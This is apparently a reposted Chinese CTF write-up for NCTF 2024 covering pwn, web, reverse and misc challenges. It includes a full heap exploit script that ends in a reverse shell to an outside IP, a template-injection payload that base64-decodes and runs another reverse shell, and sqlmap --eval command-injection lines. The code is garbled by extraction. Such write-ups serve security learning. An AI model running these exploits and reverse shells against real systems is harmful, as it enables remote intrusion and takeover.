NCTF 2024 writeup by Mini-Venom

admin 2025年4月10日22:28:55NCTF 2024 writeup by Mini-Venom已关闭评论1 views字数 23929阅读79分45秒阅读模式

招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱 [email protected](带上简历和想加入的小组) 

Pwn:

unauth-diary

协议pwn堆题

2.39

存在整数溢出,add对size没有限制,输入0,edit可以造成堆溢出

已泄露出libc_base,heap_base

攻击IO_list_all,走house of cat

最后system(/bin/sh)打不通,通过反弹shell getshell

from pwn import*from struct import packimport ctypes#from LibcSearcher import *from ae64 import AE64defbug():        gdb.attach(p)        pause()defs(a):        p.send(a)defsa(a,b):        p.sendafter(a,b)defsl(a):        p.sendline(a)defsla(a,b):        p.sendlineafter(a,b)defr(a):        p.recv(a)#def pr(a):#print(p.recv(a))defrl(a):return p.recvuntil(a)definter():        p.interactive()defget_addr64():return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))defget_addr32():return u32(p.recvuntil("\xf7")[-4:])defget_sb():return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()defget_hook():return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')#context(os='linux',arch='i386',log_level='debug')   context(os='linux',arch='amd64',log_level='debug')libc=ELF('./test-libc.so.6')   elf=ELF('./pwn')#p=remote('',)#p = process('./pwn')#p = remote('127.0.0.1',9999)p = remote('39.106.16.204',52351)defadd(size,content):        sla(">",str(1))        sla("Input length:\n",str(size))        sa("Input content:\n",content)deffree(i):        sla(">",str(2))        sla("Input index:\n",str(i))defshow(i):        sla(">",str(4))        sla("Input index:\n",str(i))defedit(i,content):        sla(">",str(3))        sla("Input index:\n",str(i))        sa("Input content:\n",content)add(0x420,b'a'+b'\n'#0add(0x68,b'a'+b'\n')#1free(0)add(0x68,b'\n')#0show(0)a=get_addr64()libc_base=get_addr64()-2113296li(hex(libc_base))malloc_hook,free_hook=get_hook()IO_list_all=libc_base+libc.sym['_IO_list_all']setcontext=libc_base+libc.sym['setcontext']system,bin_sh=get_sb()rdi = libc_base+0x000000000010f75brsi = libc_base+0x0000000000110a4drdx = libc_base+libc.search(asm("pop rdx\nret")).__next__()rax = libc_base+0x00000000000dd237ret = libc_base+libc.search(asm("ret")).__next__()syscall=libc_base+libc.search(asm("syscall\nret")).__next__()open=libc_base+libc.sym['open']read=libc_base + libc.sym['read']write=libc_base + libc.sym['write']p.recv(2)heap_base=u64(p.recv(6).ljust(8,b'\x00'))-0x2b0li(hex(heap_base))add(0x380,b'a'+b'\n')#2add(-1,b'a'+b'\n')#3add(0x68,b'a'+b'\n')#4add(0x68,b'a'+b'\n')#5add(0x28,b'a'+b'\n')_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']chunk3=heap_base+0x1970# 伪造的fake_IO结构体的地址orw  = p64(rdi) + p64(heap_base+0x1430)  orw += p64(rsi) + p64(0)orw += p64(open)orw += p64(rdi) + p64(3)orw += p64(rsi)+p64(heap_base+0x200)orw += p64(rdx) + p64(0x50)orw += p64(read)orw += p64(rdi) + p64(1)orw += p64(rsi)+p64(heap_base+0x200)orw += p64(rdx) + p64(0x50)orw += p64(write)shell=p64(rdi+1)+p64(rdi)+p64(heap_base+0x990)+p64(rdi+1)+p64(system)_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']fake_IO_FILE  =p64(0)*2+p64(1)+p64(chunk3+0x8)  fake_IO_FILE  =fake_IO_FILE.ljust(0x60,b'\x00')  fake_IO_FILE +=p64(0)+p64(chunk3+0xf8)+p64(system) #rdi,rsifake_IO_FILE +=p64(heap_base)              fake_IO_FILE +=p64(0x100)                       #rdxfake_IO_FILE  =fake_IO_FILE.ljust(0x90b'\x00')fake_IO_FILE +=p64(chunk3+0x8)                  #_wide_data,rax1_addrfake_IO_FILE +=p64(chunk3+0xf0)+p64(rdi+1)      #rspfake_IO_FILE +=p64(0)+p64(1)+p64(0)*2fake_IO_FILE +=p64(_IO_wfile_jumps+0x30)        # vtable=IO_wfile_jumps+0x10fake_IO_FILE +=p64(setcontext+61)+p64(chunk3+0xc8)fake_IO_FILE += shellpayload=fake_IO_FILE.ljust(0x520-1,b'a')+b'\n'pay = b'/bin/bash -c "/bin/bash -i >& /dev/tcp/106.75.70.202/4444 0>&1"'.ljust(0x520b'\x00')add(0x520,pay)#7add(0x520,b'a'*0x520)add(0x520,b'./flag\x00\x00'+b'\n')add(0x520,payload)#12free(5)free(4)xor=(heap_base+0x7d0>>12)^IO_list_alledit(3,p64(0)*3+p64(0x21)+p64(xor)+b'\n')add(0x17,p64(heap_base+0x1970)+b'\n')#bug()sla(">",str(5))inter()        

Web:

ez_dash

/render路由过滤没过全,template模板可以解析<%%>

<%t = __import__('os')s = getattr(t, 'system')s('echo YmFzaCAtaSA+JiAvZGV2L3RjcC82MC4yMDUuMS44Ni85MDAwIDA+JjE= | base64 -d | bash')%>

可以直接反弹shell

NCTF 2024 writeup by Mini-Venom

sqlmap-master

http://127.0.0.2 --eval='import subprocess;subprocess.Popen(chr(108)+chr(115))'

双引号被转义

本地能成功rce,远程不知道为啥

NCTF 2024 writeup by Mini-Venom

日志里面的语句也没问题,奇怪

换个语句就行了

127.0.0.1 --eval eval("__import__('os').system('env')")

Reverse:

ezDOS

NCTF 2024 writeup by Mini-Venom

对输入的字符串进行单字符异或

NCTF 2024 writeup by Mini-Venom

si就是输入字符串异或后的数据

di就是密文

使用测试数据:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

得到密文:

NCTF 2024 writeup by Mini-Venom

使密文对测试数据再次异或得到异或流Key

0x32,0x7d,0x59,0x7a,0xf3,0xd,0xb3,0x7b,0x64,0x8c,0xeb,0x28,0xc4,0xa4,0x50,0x30,0xa0,0xed,0x27,0x6a,0xe3,0x76,0x69,0xc,0xda,0x28,0xf8,0x8,0xba,0xa6,0x17,0x3e,0x12,0x59,0x45,0x6,0x4e,0xf1

值得注意的是尽量使用多个测试数据进行测试,因为我使用

NCTF{Y0u_4r3AAAAAAAAAAAAAAAAAAAAAAAAA}

得到的密文却是

0x32,0x7d,0x59,0x7a,0xf3,0xd,0xb3,0x7b,0x64,0x8c,0xeb,0x28,0xf4,0xa4,0x50,0x30,0xa0,0xed,0x27,0x6a,0xe3,0x76,0x69,0xc,0xda,0x28,0xf8,0x8,0xba,0xa6,0x17,0x3e,0x12,0x59,0x45,0x6,0x4e,0xf1

解密的话使用密文对这个异或流Key进行异或一次即可。密文在IDApro里能直接提取;

但需要注意的是0x26不是密文。

#include<iostream>#include<Windows.h>intmain(){unsignedchar key[] = { 0x32,0x7d,0x59,0x7a,0xf3,0xd,0xb3,0x7b,0x64,0x8c,0xeb,0x28,0xf4,0xa4,0x50,0x30,0xa0,0xed,0x27,0x6a,0xe3,0x76,0x69,0xc,0xda,0x28,0xf8,0x8,0xba,0xa6,0x17,0x3e,0x12,0x59,0x45,0x6,0x4e,0xf1 };unsignedchar key2[] = { 0x32,0x7d,0x59,0x7a,0xf3,0xd,0xb3,0x7b,0x64,0x8c,0xeb,0x28,0xc4,0xa4,0x50,0x30,0xa0,0xed,0x27,0x6a,0xe3,0x76,0x69,0xc,0xda,0x28,0xf8,0x8,0xba,0xa6,0x17,0x3e,0x12,0x59,0x45,0x6,0x4e,0xf1 };unsignedchar enc[] =    {0x7C0x3E0x0D0x3C0x880x540x830x0E0x3B0xB8,0x990x1B0x9B0xE50x230x430xC50x800x450x5B,0x9A0x290x240x380xA90x5C0xCB0x7A0xE50x93,0x730x0E0x700x6D0x7C0x310x2B0x8C    };for (int i = 0; i < 38; i++) {        enc[i] ^= key2[i];printf("%c", enc[i]);    }}//NCTF{Y0u_4r3_Assemb1y_M4st3r_5d0b497e}

x1Login

先逛一下主逻辑,发现有一系列的反调机制检测,那么直接mt管理器一把梭,将返回值全部改为0,一劳永逸,基于没有签名校验可以这么干

NCTF 2024 writeup by Mini-Venom

然后是对于逻辑中的一些调用方法名有一个自实现的native层的混淆方法get

NCTF 2024 writeup by Mini-Venom

目前还没有看到对于flag校验等逻辑,但是有loadDex的调用,那么该校验逻辑大概率就是在动态加载的dex里面了

NCTF 2024 writeup by Mini-Venom
NCTF 2024 writeup by Mini-Venom

写个脚本主动调用一下get方法动态解密一下看看这些字符串都是啥内容

Java.perform(function ({var DecStr = Java.use("com.nctf.simplelogin.DecStr");    DecStr.get.implementation = function (encryptedStr{console.log("[*] Hooked DecStr.get() with argument: " + encryptedStr);var result = this.get(encryptedStr);return result;    };var encryptedStrings = ["ygvUF2vHFgbPiN9J","Exv3nhr5BNW0axn3aNz/DNv9C3q0wxj/Exe=","zM1GzM4=","agDYB3bJ"    ];    encryptedStrings.forEach(function (str{var decrypted = DecStr.get(str);console.log("[*] Decrypted result: " + decrypted);    });});

可以看到是从文件libsimple.so中动态加载的dex,且创建为com.nctf.simplelogin.Check的类名

NCTF 2024 writeup by Mini-Venom

显然这个libsimple.so不是之前注册get方法的so文件,翻找了一下资源文件夹之后找到了相同名字的libsimple.so文件,并从中成功分离出dex文件如下

NCTF 2024 writeup by Mini-Venom

同样还有两次get的调用,再次主动解密一下这两个字符串,其中X1c@dM1n1$t即是解密出来的用户名

NCTF 2024 writeup by Mini-Venom

那么密码的逻辑就清楚了,将用户名的md5作为key和输入的密码一同传入到native层的方法doCheck中,后面直接去看这个doCheck走的是什么加密就好了

NCTF 2024 writeup by Mini-Venom

丁真为3des加密,每一轮的密钥得用unidbg调一下才能得到,直接上模拟so层调用的代码,hook一下着几个函数的参数即可

package com.killnctf;import com.github.unidbg.AndroidEmulator;import com.github.unidbg.Module;import com.github.unidbg.arm.backend.UnHook;import com.github.unidbg.arm.backend.Unicorn2Factory;import com.github.unidbg.arm.backend.CodeHook;import com.github.unidbg.linux.android.AndroidEmulatorBuilder;import com.github.unidbg.linux.android.AndroidResolver;import com.github.unidbg.linux.android.dvm.*;import com.github.unidbg.linux.android.dvm.array.ByteArray;import com.github.unidbg.memory.Memory;import com.github.unidbg.arm.backend.Backend;import unicorn.Arm64Const;import java.io.File;publicclassxvideoextendsAbstractJni{privatefinal AndroidEmulator emulator;privatefinal DvmClass NativeApi;privatefinal VM vm;privatefinal Module module;publicxvideo(){        emulator = AndroidEmulatorBuilder                .for64Bit()                .addBackendFactory(new Unicorn2Factory(true))                .setProcessName("com.nctf.simplelogin")                .build();        Memory memory = emulator.getMemory();        memory.setLibraryResolver(new AndroidResolver(23));        vm = emulator.createDalvikVM(new File("unidbg-android/src/test/resources/killnctf/zqh.apk"));        vm.setJni(this);        vm.setVerbose(true);        File soFile = new File("libnative.so");if (!soFile.exists()) {thrownew IllegalStateException("libnative.so 文件不存在: " + soFile.getAbsolutePath());        }        DalvikModule dm = vm.loadLibrary(soFile, true);module = dm.getModule();        NativeApi = vm.resolveClass("com/nctf/simplelogin/Secure");        System.out.println("NativeApi resolved: " + (NativeApi != null));// 设置钩子        setupHooks();        dm.callJNI_OnLoad(emulator);    }privatevoidsetupHooks(){long baseAddress = module.base;finallong sub_2644_addr = baseAddress + 0x2644;finallong sub_2DC4_addr = baseAddress + 0x2DC4;        emulator.getBackend().hook_add_new(new CodeHook() {@Overridepublicvoidhook(Backend backend, long address, int size, Object user){if (address == sub_2644_addr) {long x1Value = backend.reg_read(Arm64Const.UC_ARM64_REG_X1).longValue();                    System.out.println("[sub_2644] X1 Value: 0x" + Long.toHexString(x1Value));                }            }@OverridepublicvoidonAttach(UnHook unHook){            }@Overridepublicvoiddetach(){// 留空或实现钩子移除逻辑            }        }, sub_2644_addr, sub_2644_addr + 4null);// Hook sub_2DC4        emulator.getBackend().hook_add_new(new CodeHook() {@Overridepublicvoidhook(Backend backend, long address, int size, Object user){if (address == sub_2DC4_addr) {long x1Value = backend.reg_read(Arm64Const.UC_ARM64_REG_X1).longValue();                    System.out.println("[sub_2DC4] X1 Value: 0x" + Long.toHexString(x1Value));                }            }@OverridepublicvoidonAttach(UnHook unHook){            }@Overridepublicvoiddetach(){// 留空或实现钩子移除逻辑            }        }, sub_2DC4_addr, sub_2DC4_addr + 4null);    }publicbooleancalls(){        String arg1 = "aaaaaaaaaaaaaaaaaaaaaaaa";byte[] arg2 = {12583, (byte236, (byte21110667, (byte211, (byte21055, (byte231, (byte2219961, (byte207, (byte132, (byte151};//用户名的md5字节流boolean result = NativeApi.newObject(null)                .callJniMethodBoolean(emulator, "doCheck(Ljava/lang/String;[B)Z", arg1, arg2);return result;    }publicstaticvoidmain(String[] args){        xvideo xv = new xvideo();boolean result = xv.calls();        System.out.println("call s result: " + result);    }}

得到结果如下,故解密的密钥应为d2d3436ad3ec537d9784cf3d63dde737d2d3436ad3ec537d

NCTF 2024 writeup by Mini-Venom

对于密文的提取还有个端序问题,倒叙提取一下密文523E454612FA4BDFBBB8D31AE2648A7E8BA584B886EC9E40

然后进行3des解密

NCTF 2024 writeup by Mini-Venom

得到的结果再逆序一下即是密码SafePWD~5y$x?YM+5U05Gm6=

故此题最后的答案为NCTF{X1c@dM1n1x?YM+5U05Gm6=}

SafeProgram

魔改的sm4算法 在TLS0里修改了sbox

NCTF 2024 writeup by Mini-Venom

然后就是sm4加密 起调试取出key

密文:

NCTF 2024 writeup by Mini-Venom

先写个脚本求一下sbox 然后直接解sm4即可

#include<stdio.h>voidswap_chars(int *a1, int *a2){int temp = *a1;    *a1 = *a2;    *a2 = temp;}intmain(){int sbox[256] = {0xD60x900xE90xFE0xCC0xE10x3D0xB70x160xB60x140xC20x280xFB0x2C0x050x2B0x670x9A0x760x2A0xBE0x040xC30xAA0x440x130x260x490x860x060x990x9C0x420x500xF40x910xEF0x980x7A0x330x540x0B0x430xED0xCF0xAC0x620xE40xB30x1C0xA90xC90x080xE80x950x800xDF0x940xFA0x750x8F0x3F0xA60x470x070xA70xFC0xF30x730x170xBA0x830x590x3C0x190xE60x850x4F0xA80x680x6B0x810xB20x710x640xDA0x8B0xF80xEB0x0F0x4B0x700x560x9D0x350x1E0x240x0E0x5E0x630x580xD10xA20x250x220x7C0x3B0x010x210x780x870xD40x000x460x570x9F0xD30x270x520x4C0x360x020xE70xA00xC40xC80x9E0xEA0xBF0x8A0xD20x400xC70x380xB50xA30xF70xF20xCE0xF90x610x150xA10xE00xAE0x5D0xA40x9B0x340x1A0x550xAD0x930x320x300xF50x8C0xB10xE30x1D0xF60xE20x2E0x820x660xCA0x600xC00x290x230xAB0x0D0x530x4E0x6F0xD50xDB0x370x450xDE0xFD0x8E0x2F0x030xFF0x6A0x720x6D0x6C0x5B0x510x8D0x1B0xAF0x920xBB0xDD0xBC0x7F0x110xD90x5C0x410x1F0x100x5A0xD80x0A0xC10x310x880xA50xCD0x7B0xBD0x2D0x740xD00x120xB80xE50xB40xB00x890x690x970x4A0x0C0x960x770x7E0x650xB90xF10x090xC50x6E0xC60x840x180xF00x7D0xEC0x3A0xDC0x4D0x200x790xEE0x5F0x3E0xD70xCB0x390x48    };int index_list[10] = {78678470505211099116102};for (int j = 0; j < 10; ++j) {        swap_chars(&sbox[0], &sbox[index_list[j]]);    }for (int i = 0; i < 256; i++) {printf("0x%02X,", sbox[i]);    }printf("\n");return0;}#include<string.h>#include<stdio.h>#include<time.h>/*--------------------------------------------------------------------------------------------------------------*/#define SM4_ENCRYPT 1#define SM4_DECRYPT 0/*--------------------------------------------------------------------------------------------------------------*//** * \brief          SM4 context structure */typedefstruct{int mode;             /*!<  encrypt/decrypt   */unsignedlong sk[32]; /*!<  SM4 subkeys       */} sm4_context;/*--------------------------------------------------------------------------------------------------------------*//** * \brief          SM4 key schedule (128-bit, encryption) * * \param ctx      SM4 context to be initialized * \param key      16-byte secret key */voidsm4_setkey_enc(sm4_context *ctx, unsignedchar key[16]);/*--------------------------------------------------------------------------------------------------------------*//** * \brief          SM4 key schedule (128-bit, decryption) * * \param ctx      SM4 context to be initialized * \param key      16-byte secret key */voidsm4_setkey_dec(sm4_context *ctx, unsignedchar key[16]);/*--------------------------------------------------------------------------------------------------------------*//** * \brief          SM4-ECB block encryption/decryption * \param ctx      SM4 context * \param mode     SM4_ENCRYPT or SM4_DECRYPT * \param length   length of the input data * \param input    input block * \param output   output block */voidsm4_crypt_ecb(sm4_context *ctx,int mode,int length,unsignedchar *input,unsignedchar *output);/*--------------------------------------------------------------------------------------------------------------*//** * \brief          SM4-CBC buffer encryption/decryption * \param ctx      SM4 context * \param mode     SM4_ENCRYPT or SM4_DECRYPT * \param length   length of the input data * \param iv       initialization vector (updated after use) * \param input    buffer holding the input data * \param output   buffer holding the output data */voidsm4_crypt_cbc(sm4_context *ctx,int mode,int length,unsignedchar iv[16],unsignedchar *input,unsignedchar *output);/*--------------------------------------------------------------------------------------------------------------*//* * 32-bit integer manipulation macros (big endian) */#ifndef GET_ULONG_BE#define GET_ULONG_BE(n, b, i)                                                                                                                             \    {                                                                                                                                                     \        (n) = ((unsigned long)(b)[(i)] << 24) | ((unsigned long)(b)[(i) + 1] << 16) | ((unsigned long)(b)[(i) + 2] << 8) | ((unsigned long)(b)[(i) + 3]); \    }#endif/*--------------------------------------------------------------------------------------------------------------*/#ifndef PUT_ULONG_BE#define PUT_ULONG_BE(n, b, i)                      \    {                                              \        (b)[(i)] = (unsigned char)((n) >> 24);     \        (b)[(i) + 1] = (unsigned char)((n) >> 16); \        (b)[(i) + 2] = (unsigned char)((n) >> 8);  \        (b)[(i) + 3] = (unsigned char)((n));       \    }#endif/*--------------------------------------------------------------------------------------------------------------*//* *rotate shift left marco definition * */#define SHL(x, n) (((x) & 0xFFFFFFFF) << n)#define ROTL(x, n) (SHL((x), n) | ((x) >> (32 - n)))#define SWAP(a, b)           \    {                        \        unsigned long t = a; \        a = b;               \        b = t;               \        t = 0;               \    }/*--------------------------------------------------------------------------------------------------------------*//** Expanded SM4 S-boxes/* Sbox table: 8bits input convert to 8 bits output*/staticconstunsignedchar SboxTable[16][16] =    {        {0xD10x900xE90xFE0xCC0xE10x3D0xB70x160xB60x140xC20x280xFB0x2C0x05},        {0x2B0x670x9A0x760x2A0xBE0x040xC30xAA0x440x130x260x490x860x060x99},        {0x9C0x420x500xF40x910xEF0x980x7A0x330x540x0B0x430xED0xCF0xAC0x62},        {0xE40xB30x170xA90x1C0x080xE80x950x800xDF0x940xFA0x750x8F0x3F0xA6},        {0x470x070xA70x4F0xF30x730x710xBA0x830x590x3C0x190xE60x850xD60xA8},        {0x680x6B0x810xB20xFC0x640xDA0x8B0xF80xEB0x0F0x4B0x700x560x9D0x35},        {0x1E0x240x0E0x780x630x580x9F0xA20x250x220x7C0x3B0x010x210xC90x87},        {0xD40x000x460x570x5E0xD30x270x520x4C0x360x020xE70xA00xC40xC80x9E},        {0xEA0xBF0x8A0xD20x400xC70x380xB50xA30xF70xF20xCE0xF90x610x150xA1},        {0xE00xAE0x5D0xA40x9B0x340x1A0x550xAD0x930x320x300xF50x8C0xB10xE3},        {0x1D0xF60xE20x2E0x820x660xCA0x600xC00x290x230xAB0x0D0x530x4E0x6F},        {0xD50xDB0x370x450xDE0xFD0x8E0x2F0x030xFF0x6A0x720x6D0x6C0x5B0x51},        {0x8D0x1B0xAF0x920xBB0xDD0xBC0x7F0x110xD90x5C0x410x1F0x100x5A0xD8},        {0x0A0xC10x310x880xA50xCD0x7B0xBD0x2D0x740xD00x120xB80xE50xB40xB0},        {0x890x690x970x4A0x0C0x960x770x7E0x650xB90xF10x090xC50x6E0xC60x84},        {0x180xF00x7D0xEC0x3A0xDC0x4D0x200x790xEE0x5F0x3E0xD70xCB0x390x48}};/*--------------------------------------------------------------------------------------------------------------*//* System parameter */staticconstunsignedlong FK[4] =    {0xa3b1bac60x56aa33500x677d91970xb27022dc};/*--------------------------------------------------------------------------------------------------------------*//* fixed parameter */staticconstunsignedlong CK[32] =    {0x00070e150x1c232a310x383f464d0x545b6269,0x70777e850x8c939aa10xa8afb6bd0xc4cbd2d9,0xe0e7eef50xfc030a110x181f262d0x343b4249,0x50575e650x6c737a810x888f969d0xa4abb2b9,0xc0c7ced50xdce3eaf10xf8ff060d0x141b2229,0x30373e450x4c535a610x686f767d0x848b9299,0xa0a7aeb50xbcc3cad10xd8dfe6ed0xf4fb0209,0x10171e250x2c333a410x484f565d0x646b7279};/*--------------------------------------------------------------------------------------------------------------*//* * private function: * look up in SboxTable and get the related value. * args:    [in] inch: 0x00~0xFF (8 bits unsigned value). */staticunsignedcharsm4Sbox(unsignedchar inch){unsignedchar *pTable = (unsignedchar *)SboxTable;unsignedchar retVal = (unsignedchar)(pTable[inch]);return retVal;}/*--------------------------------------------------------------------------------------------------------------*//* * private F(Lt) function: * "T algorithm" == "L algorithm" + "t algorithm". * args:    [in] a: a is a 32 bits unsigned value; * return: c: c is calculated with line algorithm "L" and nonline algorithm "t" */staticunsignedlongsm4Lt(unsignedlong ka){unsignedlong bb = 0;unsignedlong c = 0;unsignedchar a[4];unsignedchar b[4];    PUT_ULONG_BE(ka, a, 0)    b[0] = sm4Sbox(a[0]);    b[1] = sm4Sbox(a[1]);    b[2] = sm4Sbox(a[2]);    b[3] = sm4Sbox(a[3]);    GET_ULONG_BE(bb, b, 0)    c = bb ^ (ROTL(bb, 2)) ^ (ROTL(bb, 10)) ^ (ROTL(bb, 18)) ^ (ROTL(bb, 24));return c;}/*--------------------------------------------------------------------------------------------------------------*//* * private F function: * Calculating and getting encryption/decryption contents. * args:    [in] x0: original contents; * args:    [in] x1: original contents; * args:    [in] x2: original contents; * args:    [in] x3: original contents; * args:    [in] rk: encryption/decryption key; * return the contents of encryption/decryption contents. */staticunsignedlongsm4F(unsignedlong x0, unsignedlong x1, unsignedlong x2, unsignedlong x3, unsignedlong rk){return (x0 ^ sm4Lt(x1 ^ x2 ^ x3 ^ rk));}/*--------------------------------------------------------------------------------------------------------------*//* private function: * Calculating round encryption key. * args:    [in] a: a is a 32 bits unsigned value; * return: sk[i]: i{0,1,2,3,...31}. */staticunsignedlongsm4CalciRK(unsignedlong ka){unsignedlong bb = 0;unsignedlong rk = 0;unsignedchar a[4];unsignedchar b[4];    PUT_ULONG_BE(ka, a, 0)    b[0] = sm4Sbox(a[0]);    b[1] = sm4Sbox(a[1]);    b[2] = sm4Sbox(a[2]);    b[3] = sm4Sbox(a[3]);    GET_ULONG_BE(bb, b, 0)    rk = bb ^ (ROTL(bb, 13)) ^ (ROTL(bb, 23));return rk;}/*--------------------------------------------------------------------------------------------------------------*/staticvoidsm4_setkey(unsignedlong SK[32], unsignedchar key[16]){unsignedlong MK[4];unsignedlong k[36];unsignedlong i = 0;    GET_ULONG_BE(MK[0], key, 0);    GET_ULONG_BE(MK[1], key, 4);    GET_ULONG_BE(MK[2], key, 8);    GET_ULONG_BE(MK[3], key, 12);    k[0] = MK[0] ^ FK[0];    k[1] = MK[1] ^ FK[1];    k[2] = MK[2] ^ FK[2];    k[3] = MK[3] ^ FK[3];for (; i < 32; i++)    {        k[i + 4] = k[i] ^ (sm4CalciRK(k[i + 1] ^ k[i + 2] ^ k[i + 3] ^ CK[i]));        SK[i] = k[i + 4];    }}/*--------------------------------------------------------------------------------------------------------------*//* * SM4 standard one round processing * */staticvoidsm4_one_round(unsignedlong sk[32],unsignedchar input[16],unsignedchar output[16]){unsignedlong i = 0;unsignedlong ulbuf[36];memset(ulbuf, 0sizeof(ulbuf));    GET_ULONG_BE(ulbuf[0], input, 0)    GET_ULONG_BE(ulbuf[1], input, 4)    GET_ULONG_BE(ulbuf[2], input, 8)    GET_ULONG_BE(ulbuf[3], input, 12)while (i < 32)    {        ulbuf[i + 4] = sm4F(ulbuf[i], ulbuf[i + 1], ulbuf[i + 2], ulbuf[i + 3], sk[i]);        i++;    }    PUT_ULONG_BE(ulbuf[35], output, 0);    PUT_ULONG_BE(ulbuf[34], output, 4);    PUT_ULONG_BE(ulbuf[33], output, 8);    PUT_ULONG_BE(ulbuf[32], output, 12);}/*--------------------------------------------------------------------------------------------------------------*//* * SM4 key schedule (128-bit, encryption) */voidsm4_setkey_enc(sm4_context *ctx, unsignedchar key[16]){    ctx->mode = SM4_ENCRYPT;    sm4_setkey(ctx->sk, key);}/*--------------------------------------------------------------------------------------------------------------*//* * SM4 key schedule (128-bit, decryption) */voidsm4_setkey_dec(sm4_context *ctx, unsignedchar key[16]){int i;    ctx->mode = SM4_ENCRYPT;    sm4_setkey(ctx->sk, key);for (i = 0; i < 16; i++)    {        SWAP(ctx->sk[i], ctx->sk[31 - i]);    }}/*--------------------------------------------------------------------------------------------------------------*//* * SM4-ECB block encryption/decryption */voidsm4_crypt_ecb(sm4_context *ctx,int mode,int length,unsignedchar *input,unsignedchar *output){while (length > 0)    {        sm4_one_round(ctx->sk, input, output);        input += 16;        output += 16;        length -= 16;    }}/*--------------------------------------------------------------------------------------------------------------*//* * SM4-CBC buffer encryption/decryption */voidsm4_crypt_cbc(sm4_context *ctx,int mode,int length,unsignedchar iv[16],unsignedchar *input,unsignedchar *output){int i;unsignedchar temp[16];if (mode == SM4_ENCRYPT)    {while (length > 0)        {for (i = 0; i < 16; i++)                output[i] = (unsignedchar)(input[i] ^ iv[i]);            sm4_one_round(ctx->sk, output, output);memcpy(iv, output, 16);            input += 16;            output += 16;            length -= 16;        }    }else/* SM4_DECRYPT */    {while (length > 0)        {memcpy(temp, input, 16);            sm4_one_round(ctx->sk, input, output);for (i = 0; i < 16; i++)                output[i] = (unsignedchar)(output[i] ^ iv[i]);memcpy(iv, temp, 16);            input += 16;            output += 16;            length -= 16;        }    }}/*--------------------------------------------------------------------------------------------------------------*/intmain(){unsignedchar key[16] = {0x4E0x430x540x460x320x340x6E0x630x740x66,0x4E0x430x540x460x320x34};unsignedchar input[32] = {0xFB0x970x3C0x3B0xF10x990x120xDF0x130x300xF70xD80x7F0xEB0xA00x6C0x140x5B0xA60x2A0xA80x050xA50xF30x760xBE0xC90x010xF90x360x7B0x46    };unsignedchar output[16];    sm4_context ctx;unsignedlong i;/*    //encrypt testing    sm4_setkey_enc(&ctx,key);    sm4_crypt_ecb(&ctx,1,16,input,output);    for(i=0;i<16;i++)        printf("%02x ", output[i]);    printf("\n");    */// decrypt testing    sm4_setkey_dec(&ctx, key);    sm4_crypt_ecb(&ctx, 032, input, output);for (i = 0; i < 32; i++)printf("%c", output[i]);printf("\n");return0;}//58cb925e0cd823c0d0b54fd06b820b7e

加上NCTF{}即为flag

NCTF 2024 writeup by Mini-Venom

Misc:

QRcode Reconstruction

给的是一张看起来破损很严重的二维码,但是可以发现只是照片进行了一些处理,我们可以利用https://www.sojson.com/qr/extract.html进行提取

NCTF 2024 writeup by Mini-Venom

可以看出损坏并不严重,可以利用https://github.com/Merricx/qrazybox这个项目直接修复,修复前需要对上面的图片沿二维码边界进行裁剪

NCTF 2024 writeup by Mini-Venom
NCTF 2024 writeup by Mini-Venom

得到flag:NCTF{WeLc0mE_t0_Nctf_2024!!!}

结束

招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系[email protected]

NCTF 2024 writeup by Mini-Venom

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月10日22:28:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   NCTF 2024 writeup by Mini-Venomhttps://cn-sec.com/archives/3886826.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.